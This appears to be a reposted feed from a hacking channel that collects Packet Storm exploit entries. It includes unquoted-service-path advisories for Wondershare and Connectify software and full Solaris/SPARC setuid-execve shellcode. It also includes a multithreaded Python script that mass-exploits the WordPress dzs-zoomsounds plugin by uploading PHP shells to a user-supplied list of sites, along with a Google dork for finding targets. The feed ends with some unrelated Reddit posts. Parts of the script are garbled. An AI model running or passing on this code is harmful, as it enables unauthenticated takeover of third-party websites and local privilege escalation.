Exploit Collector
Wondershare MobileTrans 3.5.9 Unquoted Service Path

https://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png
Wondershare MobileTrans 3.5.9 suffers from an unquoted service path vulnerability.

MD5 | 9993306b444e8588b62fd29de3bf2ed9

Download
# Exploit Title: Wondershare MobileTrans 3.5.9 - 'ElevationService' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-17
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/mobiletrans_full5793.exe
# Tested Version: 3.5.9
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ElevationService" | findstr /i /v """

Wondershare Driver Install Service help ElevationService C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe Auto
# Service info:

C:\>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ElevationService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wondershare Driver Install Service help
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Wondershare Dr.Fone 11.4.9 Unquoted Service Path

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
Wondershare Dr.Fone version 11.4.9 suffers from an unquoted service path vulnerability.

MD5 | c8550f20a48cf18868071800b40a6765

Download
# Exploit Title: Wondershare Dr.Fone 11.4.9 - 'DFWSIDService' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-17
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/drfone_full3360.exe
# Tested Version: 11.4.9
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "DFWSIDService" | findstr /i /v """

Wondershare WSID help DFWSIDService C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\WsidService.exe Auto
# Service info:

C:\>sc qc DFWSIDService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DFWSIDService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\WsidService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wondershare WSID help
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Connectify Hotspot 2018 Unquoted Service Path

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
Connectify Hotspot 2018 suffers from an unquoted service path vulnerability.

MD5 | 296158fc734887dd0fd994aebb81b8a0

Download
#Exploit Title: Connectify Hotspot 2018 'ConnectifyService' - Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2022-02-17
#Vendor : Connectify Inc
#Version : Connectify Hotspot 2018
#Vendor Homepage : https://www.connectify.me/
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============

C:\>sc qc Connectify
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Connectify
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Connectify\ConnectifyService.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Connectify Hotspot 2018
DEPENDENCIAS : wlansvc
: winmgmt
: http
NOMBRE_INICIO_SERVICIO: LocalSystem


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Solaris/SPARC execve() Shellcode

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
60 bytes small Solaris/SPARC setuid(0) + execve (/bin/ksh) shellcode.

MD5 | 0641a20dc2a7f60ad92d1c599f7ae973

Download
/*
* sparc_solaris_exec.c - Solaris/SPARC execve() shellcode
* Copyright (c) 2022 Marco Ivaldi = sparcv8+ */
"\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
"\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
"\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
"\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
"\x82\x10\x20\x0b" /* mov 0xb, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
"\x41\x41\x41\x41" /* placeholder */
"/bin/ksh";

void main()
{
void (*f)() = (void *)sc;
f();
}


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress dzs-zoomsounds 6.60 Shell Upload

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png WordPress dzs-zoomsounds plugin version 6.60 suffers from a remote shell upload vulnerability.

MD5 | b9402b957f6e0abfa7e83e6ddfc41701Download # Exploit Title: WordPress Plugin dzs-zoomsounds - Remote Code Execution (RCE) (Unauthenticated)
# Google Dork: inurl:wp-content/plugins/dzs-zoomsounds
# Date: 16/02/2022
# Exploit Author: Overthinker1877 (1877 Team)
# Vendor Homepage: https://digitalzoomstudio.net/docs/wpzoomsounds/
# Version: 6.60
# Tested on: Windows / Linux

import os
import requests
import threading
from multiprocessing.dummy import Pool,Lock
from bs4 import BeautifulSoup
import time
import smtplib,sys,ctypes
from random import choice
from colorama import Fore
from colorama import Style
from colorama import init
import re
import time
from time import sleep
init(autoreset=True)
fr = Fore.RED
gr = Fore.BLUE
fc = Fore.CYAN
fw = Fore.WHITE
fy = Fore.YELLOW
fg = Fore.GREEN
sd = Style.DIM
sn = Style.NORMAL
sb = Style.BRIGHT
Bad = 0
Good = 0
def Folder(directory):
if not os.path.exists(directory):
os.makedirs(directory)
Folder("exploited")
def clear():
try:
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
except:
pass
def finder(i) :
global Bad,Good
head = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36'}
try :
x = requests.session()
listaa = ['/wp-content/plugins/dzs-zoomsounds/savepng.php?location=1877.php']
for script in listaa :
url = (i+"/"+script)
while True :
req_first = x.get(url, headers=head)
if "error:http raw post data does not exist" in req_first.text :
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close"}
burp0_data = "\".$_FILES['f']['name'].\"\");\r\n?>"
requests.post(url, headers=burp0_headers, data=burp0_data,timeout=45)
urlx = (i+"/"+"/wp-content/plugins/dzs-zoomsounds/1877.php")
req_second = x.get(urlx, headers=head)
if "Overthinker1877" in req_second.text :
Good = Good + 1
print(fg+"Exploited "+fw+">> "+fg+" = "+urlx)
with open("exploited/shell.txt","a") as file :
file.write(urlx+"\n")
file.close()
else :
Bad = Bad + 1
print(fc+""+fw+"["+fr+"X"+fw+"] "+fr+" "+i+" "+fw+" <<
else :
Bad = Bad + 1
print(fc+""+fw+"["+fr+"X"+fw+"] "+fr+" "+i+" "+fw+" <<

pass
break
except :
pass
if os.name == 'nt':
ctypes.windll.kernel32.SetConsoleTitleW('1877Exploit | Exploited-{} | Not Vuln-{}'.format(Good, Bad))
else :
sys.stdout.write('\x1b]2; 1877Exploit | Exploited-{} | Not Vuln-{}\x07'.format(Good,Bad))

def key_logo():
clear = '\x1b[0m'
colors = [36, 32, 34, 35, 31, 37]
x = ' [ + ] OVERTHINKER1877 EXPLOIT'
for N, line in enumerate(x.split('\n')):
sys.stdout.write('\x1b[1;%dm%s%s\n' % (choice(colors), line, clear))
time.sleep(0.05)

def process(line):
time.sleep(1)
def run() :
key_logo()
clear()
print("""
[-] -----------------------------------------[-]
[+] WwW.1877.TeaM
[-] -----------------------------------------[-]
\n \n""")
file_name = input("Website List : ")
op = open(file_name,'r').read().splitlines()
TEXTList = [list.strip() for list in op]
p = Pool(int(input('Thread : ')))
p.map(finder, TEXTList)

run() Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Solaris/SPARC chmod() Shellcode

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
64 bytes small Solaris/SPARC setuid(0) + chmod (/bin/ksh) + exit(0) shellcode.

MD5 | 5a22353ac6cbe1bda89442c29da5ccf8

Download
/*
* sparc_solaris_chmod.c - Solaris/SPARC chmod() shellcode
* Copyright (c) 2022 Marco Ivaldi
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

How i was able To hack Cambridge University ( Arabic )
https://medium.com/@angre.stonzy/how-i-was-able-to-hack-cambridge-university-arabic-729370b65c39?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

السلام عليكم معاكم اخوكم ناصر , بسبب دعمكم السابق لي قررت اكتب هذي المقالةContinue reading on Medium » (https://medium.com/@angre.stonzy/how-i-was-able-to-hack-cambridge-university-arabic-729370b65c39?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Anyone else thinking the Steam deck might make for great mobile pentesting?

It sounds like it will be reasonably powerful and run Linux - a good toy and possible replacement for shipping NUCs? Perhaps some of us can expense that shit. If not,I’ll stick with my Zaurus I guess….

submitted by /u/venerable4bede
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Local network chat via browser?

Hello I was wondering if it's possible to host a local network chat room and have it be accessible via the browser with no need for internet, kinda like Plex but for chatting?

submitted by /u/keko1105
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do RATs work?

Hey so I've watched countless videos of people (Jim Browning etc.) to let scammers connect to their PC using some software like TeamViewer.

I understand it that they have some file on the PC that screams click me (like banking.txt). And when the scammer clicks it it downloads onto the scammer's PC and starts acting like a host. Now you can connect to this PC.

And I would like to ask how does that work? Is that like some kind of script that adds your ssh public key to the authorized ones so you only have to type ssh scammerpc and you're in? How can you start a remote screen sharing from this?

I'm just curious how does that work. Thanks for any explanation.

submitted by /u/Jasasul
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video